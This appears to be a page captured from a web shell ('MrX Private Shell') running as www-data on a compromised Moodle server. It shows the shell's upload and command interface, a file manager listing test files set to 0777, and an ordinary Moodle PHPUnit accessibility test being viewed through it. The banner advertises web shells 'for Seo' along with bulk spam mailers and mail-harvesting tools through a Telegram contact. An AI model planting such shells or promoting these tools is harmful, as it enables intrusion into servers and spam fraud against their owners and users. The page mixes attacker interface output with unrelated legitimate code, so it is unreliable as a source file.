__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace tool_brickfield;

use tool_brickfield\local\tool\filter;

/**
 * Unit tests for {@accessibility tool_brickfield\accessibility.php}.
 *
 * @package   tool_brickfield
 * @copyright  2020 onward: Brickfield Education Labs, www.brickfield.ie
 * @author     Jay Churchward (jay@brickfieldlabs.ie)
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class accessibility_test extends \advanced_testcase {

    /**
     * Test get_title().
     *
     * @throws \coding_exception
     * @throws \dml_exception
     * @throws \moodle_exception
     */
    public function test_get_title(): void {
        $this->resetAfterTest();
        $object = new accessibility();
        $filter = new filter();

        // Testing the else statement.
        $output = $object->get_title($filter, 0);
        $this->assertEquals($output, 'Error details: all reviewed courses (0 courses)');
        $output = $object->get_title($filter, 5);
        $this->assertEquals($output, 'Error details: all reviewed courses (5 courses)');

        // Testing the if statement.
        $filter->courseid = 1;
        $output = $object->get_title($filter, 0);
        $this->assertEquals($output, 'Error details: course PHPUnit test site');
    }

    /**
     * Test check_ids().
     *
     * @throws \dml_exception
     */
    public function test_check_ids(): void {
        $this->resetAfterTest();
        $object = new accessibility();

        $output = $object->checkids();
        $this->assertEquals($output[1], 'a_links_dont_open_new_window');
        $this->assertEquals($output[10], 'css_text_has_contrast');

        $output = $object->checkids(2);
        $this->assertEmpty($output);
    }

    /**
     * Test get_translations().
     *
     * @throws \dml_exception
     */
    public function test_get_translations(): void {
        $this->resetAfterTest();
        $object = new accessibility();

        $output = $object->get_translations();
        $this->assertEquals($output['a_must_contain_text']['title'], 'Links should contain text');
        $this->assertStringContainsString('<p>Because many users of screen readers use links to ' .
            'navigate the page, providing links with no text (or with images that have empty \'alt\' attributes and no other ' .
            'readable text) hinders these users.</p>', $output['a_must_contain_text']['description']);
    }

    /**
     * Test get_category_courseids().
     *
     * @throws \dml_exception
     */
    public function test_get_category_courseids(): void {
        $this->resetAfterTest();
        $object = new accessibility();
        $category = $this->getDataGenerator()->create_category();
        $course = $this->getDataGenerator()->create_course((object)['category' => $category->id]);

        $output = $object->get_category_courseids($category->id);
        $this->assertEquals($output[0], $course->id);
    }
}

Filemanager

Name Type Size Permission Actions
behat Folder 0777
generator Folder 0777
local Folder 0777
accessibility_test.php File 3.53 KB 0777
area_test.php File 11.02 KB 0777
area_test_base.php File 3.42 KB 0777
filters_test.php File 7.2 KB 0777
manager_test.php File 1.61 KB 0777
registration_test.php File 8.04 KB 0777
scheduler_test.php File 10.75 KB 0777
tool_test.php File 7.45 KB 0777
Filemanager